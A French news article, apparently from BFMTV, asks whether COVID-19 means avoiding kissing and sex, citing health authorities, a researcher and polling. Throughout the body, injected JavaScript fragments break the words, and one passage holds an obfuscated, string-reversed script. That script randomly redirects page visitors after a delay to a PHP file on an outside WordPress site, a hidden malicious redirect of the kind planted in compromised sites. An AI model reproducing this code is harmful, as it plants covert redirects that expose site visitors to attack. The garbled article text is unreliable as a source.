Coronavirus: faut-il éviter de faire l’amour?

Ni la bise, ni les baisers? Avec l’épidémie de coronavirus qui sévit en France, les gestes “barrière” sont de mise, recommdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andant de limiter la proximité physique. Et le sexe dans dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout ça?

Ne pas serrer la main, ni faire la bise, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toucher-le-visage-1874329.html#content/contribution/edit”>éviter de se dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toucher le visage, éternuer dans son coude… En pleine épidémie de coronavirus, les gouvernements et scientifiques multiplient les recommdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andations restreignant les contacts entre personnes, afin de limiter la propagation du Covid-19. Mais au même titre qu’il est recommdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andé d’éviter de faire la bise à son collègue, doit-on proscrire les baisers langoureux et échanges charnels dans notre intimité? Les règles sanitaires ne se sont pas clairement avancées dans la sphère sexuelle.

Comme dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toires/infection-a-coronavirus/articles/infection-au-nouveau-coronavirus-sars-cov-2-covid-19-france-et-monde/que-sait-on-du-nouveau-coronavirus-sars-cov-2″ target=”_blank” rel=”noreferrer noopener”>le précise Santé Publique France, “il est probable que ce coronavirus soit similaire aux autres coronavirus humains, qui sont généralement transmis lors de contacts étroits par l’inhalation de gouttelettes infectieuses émises lors d’éternuements ou de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toux par le patient ou après un contact avec des surfaces fraîchement contaminées par ces secrétions”.

Pour rappel, le Covid-19 est un nouveau coronavirus, que scientifiques et experts découvrent encore et tentent de comprendre. “Des lacunes importantes demeurent”, $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les paramètres relatifs à sa transmission.

Pas considéré comme une IST pour le moment

Échanger des baisers avec des personnes porteuses du coronavirus, c’est bien évidemment un risque d’être contaminé, puisqu’il se transmet par postillons selon les observations actuelles. Toutefois, le Covid-19 n’est pas encore catalogué comme infection sexuellement transmissible. 

“Bien que les coronavirus ne soient généralement pas transmis sexuellement, il est trop tôt pour le savoir”, écrit le New-York Times, sur la base de déclarations de l’Organisation Mondiale de la Santé. Pour dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}totalement éviter la propagation du coronavirus, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout échange charnel est donc, en soit, à éviter.

“Tout sexe entraîne un contact étroit. C’est la définition du contact étroit”, souligne dans le média américain Vox, Anna Muldon, chercheuse en maladies infectieuses à l’Université d’Arizona. “Il n’y a donc aucun moyen de d’en avoir sans risquer la transmission”.

“Comme leur nom l’indique, les infections sexuellement transmissibles (IST) se transmettent principalement lors des rapports sexuels”, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}topics/sexually_transmitted_infections/fr/” target=”_blank” rel=”noreferrer noopener”>explique l’OMS. “Il existe plus de trente agents infectieux, bactéries, virus ou parasites, transmissibles de cette manière”. Parmi les plus courantes les chlamydioses, la syphilis, l’herpès génital, l’infection par le virus de l’immunodéficience humaine (VIH) ou encore l’hépatite B.

Le coronavirus, pas encore un tue-l’amour

Malgré les différents avertissements diffusés, 66% des Français interrogés déclarent avoir fait la bise, ces derniers jours, à des personnes qu’ils connaissent et 61% leur avoir serré la main, selon un sondage Elabe/Berger-Levrault pour BFMTV mercredi

Interrogées par l’AFP, plusieurs personnes ont même déclaré que cette période de crise sanitaire ne les refrénaient pas forcément à rencontrer des inconnus, et à échanger certains fluides avec eux. Au contraire, une femme raconte n’avoir jamais eu autant de “matchs” sur l’application de rencontres Tinder, “j’ai l’impression que ça booste, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout le monde se connecte, se décoince”, raconte-t-elle. Cette application met dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toutefois en garde ses utilisateurs, entre deux “matchs” de personnes, s’est glissée une “carte d’avertissement” renvoyant aux consignes de l’OMS sur les “gestes barrière”.

“Si vous ressentez qu’il n’y a ne serait-ce qu’une chance que vous vous sentiez mal, pour quelque raison que ce soit, n’allez pas au bar, n’utilisez pas Grindr ou Tinder [applications de rencontres, ndlr], ce jour-là”, déclare Anna Muldon.

Aux États-Unis, qui commence à prendre des mesures pour lutter contre la propagation du Covid-19, une orgie prévue à Los Angeles a été maintenue, rapporte le New-York Post. Les organisateurs, le sex-club Snctm, assurent que les mesures sanitaires seront prises: désinfection des lieux, sélection des participants, plus de savon et de désinfectant…

Source: BFMTV

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